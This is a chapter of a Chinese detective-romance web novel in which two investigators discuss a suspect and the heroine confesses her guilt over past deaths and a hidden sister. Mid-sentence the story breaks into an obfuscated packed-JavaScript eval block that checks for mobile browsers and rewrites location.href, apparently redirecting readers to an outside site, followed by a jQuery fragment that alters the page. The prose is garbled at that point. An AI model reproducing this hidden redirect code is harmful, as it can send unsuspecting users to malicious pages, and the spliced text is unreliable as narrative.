93. 问心

作品:《女推官

    荣修能是礼部尚书荣和安最小的儿子,虽为妾室所生,但自幼记在主母曾氏名下,所以一切用度皆是照荣府嫡子给予培养长大。


    曾氏自己生养了两个女儿,嫡长女于两年前出嫁,次女只比荣修能大一岁,至今待字闺中。


    “我见过荣修能几回,不过那也是许多年前了。”回忆往事,褚停云没有感慨时间易逝,只觉蹊跷,“印象中,荣修能虽人人皆知其极受荣尚书宠爱,但从不仗势欺人,对主母敬爱,对两位姐姐也是谦和有礼。用傅尚书的话说,老奸巨猾的荣和安却生了个纯良的儿子。”


    “纯良?”重复着这两字,季寒道,“此评价可不低。”


    傅尚书还说,相较之下,他褚停云像荣修能那么大时,连善良都够不上。


    腹诽着咽下,褚停云正色道:“刑部接手案子时也派人打听过,荣修能此人确实堪配纯良二字。书院的学正、学生大多也是如此认为。”


    此时,季寒却发现他话语中矛盾之处,抬手打断道:“大多?是询问的人少,还是其中有人并不这么认为?”


    似料到她会问起。褚停云勾起唇角,“总共询问二十一人,其中十七人这般认为,三人回避,一人建议刑部换个地方再去问问。”


    “这唯独的一人,是谁?”她好奇道。


    褚停云深深看了她一眼,才回道:“萧缘冰。”


    “是他?”季寒有些意外,不过思及他过于板正的态度,好像又在情理中。


    眼见她的神色从怀疑到接受,褚停云了然,毕竟在看到案卷上唯一那个质疑的姓名时,他也很快接受了。


    “萧缘冰这人只是轴了些,但鲜少违背自己的意愿说假话。”


    从敢当众拒了官家授命,力争自己想去之处便能看出,这人是真不会看人眼色。褚停云忽然觉得,“在朝为官若都是他那样的,该是什么样的局面?”


    季寒奇怪地看着他,“良药苦口利于病,忠言逆耳利于行。但同样,水至清则无鱼。这个问题与其问我,不如问问书院的那些人。”


    “……你不也是其中之一?”他发现,她是真能反驳,“再者,等当了官,你迟早也是要面对的。”


    她扯了个无聊的笑,“忠臣、奸臣、能臣、纯臣,这是官家该考虑的事。当臣子的只需考虑一件事。”


    “何事?”


    “为何而当官?”


    褚停云挑眉,“那可原因太多了。”


    季寒点头赞同道:“是,既然原因那么多。何必管他人从哪来为何来去往哪?如果真到揣度这一步,那多半不是此人有了事,就是有人将过多的心思放到了他身上。”


    她神色渐渐严肃,好似这无意打开的话匣子勾起了某种情绪。褚停云也不打断,等着她继续说下去。


    “从沅陵到汴京,两个月里,你我之间一直避而不谈的问题其实许多。原因你我也各自清楚,无非我觉得那不是我能干涉的,至于你,我想,多半也是认为有些事我没必要知晓。”


    季寒顿了一下,又道:“我不揣度你这么做的原因,同理,你也不过问我是否觉得那些案子真正结束。因为,你很清楚,都没有结束。而我,也知道没有结束,却装作结束。”


    衣袖下的掌心悄悄攥紧,目光落在平淡无波的脸庞。他不知,她不是因懂事退避,而是深谙看破不说破的真理。


    她目视前方,忽然莞尔一笑,仿佛与某人隔空相望。


    “陆姜来沅陵时身份是江湖游医,可师父从其样貌气度一眼就能看出此人在撒谎。因着他帮忙治病救人,医术上的确颇有造诣,师父以为他有什么不得已的苦衷便没有深究下去。久而久之,他成我们那也算小有名气的郎中。”


    “待人谦和,样貌佳还有一门不愁吃穿的手艺,这样的男子在咱们那小地方自然成了女婿不错人选。”


    褚停云抿了抿唇,看看她,又垂眸看向自己的茶。


    他的欲言又止太过明显,季寒沉吟了会无声叹气,似下定决心后才道:“我从未心悦于陆姜,若不是后来发生的事,也不至于令他误会至今。那日,你在客栈见我哭,也并不是因为他,而是为了小莲。”


    瞥了眼微微愣神后压不住的嘴角,季寒笑了笑,“何况那时,我早已心里有了人。”


    随之话音轻轻落下,他也笑不出来了,只余眼里的怔忡。


    而她还在继续道:“这辈子,我也只会在意那一人。”


    这辈子她都不会告诉他,她曾对师父所说的那个意气风发的少年心向往之;也不打算让他知晓,师父说若是有缘他们能遇见,或许会成就更好的彼此。


    她见到了他,喧闹的考场攒动的人群之中一眼认出了他。迎面而来时,她知道,就是他了。


    稍稍仰头,季寒深深吸了口气,再开口时已恢复平静,“小莲的养母姓张,村里人都唤她云娘,是个寡妇。起初,她也是看上了陆姜,想招他为女婿。但也被其所拒。没过多久,小莲被人发现死在他的院中。发现尸体和报案的人,就是小莲的养母张云娘。”


    “郎君,季娘子,姜汤煮好了。”门外传来陌尘的声音。


    季寒看了看褚停云,回道:“放门口吧。”下榻穿鞋之际只听对面有了动静。


    一言不发从陌尘手中接过托盘,依然沉默着将姜汤、包子、羊肉饭、羊肉汤一一摆上桌。


    他朝她望来,“吃饭。”


    硬声硬气宣泄着被拐着弯戳破心思的不满。


    季寒穿好鞋脱了外袍,整了整衣裙,在他对面入座。方要动手,但见褚停云已熟练地将羊肉饭给她的碗里盛上了。


    拿起筷子,她夹起一口饭,连同涌上的酸楚一块咽下。


    小莲曾问她如果有一天见到那个少年,会怎么做?她说,她会想方设法地接近他,了解他,查明他是不是同师父所描述的一模一样。


    小莲问,若是他变了呢?她说,若是变坏了就当没这人,若是变得更好了,就要让他心悦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548609|185989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己。


    小莲笑她,不知羞。


    小莲活着时只有她一个朋友,死了却只有一卷草席。她不是一个合格朋友。


    汤匙碰撞瓷碗发出清脆的响声,看着他搁到跟前的姜汤,季寒放下了筷子。


    “五年前张小莲一案,虽最后查出凶手即是张云娘,但在县衙来人前张云娘就选择了自裁。”对上他若有所思的目光,季寒解释道,“陆姜暗示张云娘比起上堂审判,或许另一条路更适合她,因为谁也说不准她一定能活到上堂那日。彼时,我存了私心所以没有阻止,时至今日我方知他并不是信口胡诌。”


    她咬了下唇,“就像陆伯煊的下场,他说到做到了。而这一次,我依旧没有阻止。”藏着桌下的双手交握,指甲不自觉掐着虎口,“嘴上说着应以律法还被害者公道,却对施害者的生死冷眼旁观,我并没有做到如师父所说的,刑狱断案关乎的不止对错,还有生死,还有活生生的人命。我做不到问心无愧。”


    这话,他也说过。


    就在他们初相识的那次,褚停云曾斥责她——


    “老师一生断案无数,你可知他为何宁愿不做这提刑官也要离开汴京?因为官场难行,因为刑狱断案关乎的不止对错,还有生死,是活生生的人命。老师可否与你说过,每做一个决定,那个决定关乎到一个人的生死时,你可能做到问心无愧?”


    暖炉里的火不知何时熄灭,风从虚掩的门窗缝隙中越来越多地渗入,一室的暖意也在悄悄被驱散。


    “我以为温莹一案能有所不同,却不知一招错步步错。”


    猛然抬眼,褚停云不解地盯着她的眼睛,她别开了眼。


    “想必,南溪将我调查温家一事,应报于你听了吧?我尚未细问结果,但是有一事已经可以确定,也是,”她顿了顿,血色退去,一抹嘲讽浮上唇角,“也是我本不打算告诉你的,青青姑娘才是引发温莹一案背后的主因。我以为,温莹能瞒下,我也能。可是现在,温莹死了。你觉得我还能瞒下去吗?”


    最后一句透着自厌。褚停云听出来了,且感到不可思议,“你是在说,温莹出事,你早就猜到了,是这个意思吗?”


    季寒摇头,“我若能猜到这个结果,绝不会将她们留在虔州。”


    “那……”他似乎明白又好似糊涂,答案分明呼之欲出,却死死卡在喉咙口。


    “我错在以为陆姜不会发现温莹藏起的秘密。”


    “什么秘密?”


    “青青不是温府的丫鬟,她的骨骼长相与温莹极其相似。她与温莹是同父同母的姊妹。”


    褚停云对青青的长相无太多印象,此时听闻季寒这般说更觉疑惑。


    “可是根据官府记录,青青确实是温府所买奴婢。”也就是南溪所查到的,所以,褚停云愈发不解,“即便是亲姊妹,为何不能说?为何要藏起她?温莹又为何会死?”


    嗤笑一声,季寒冷声道:“那便要问,温府落败的真正原因?”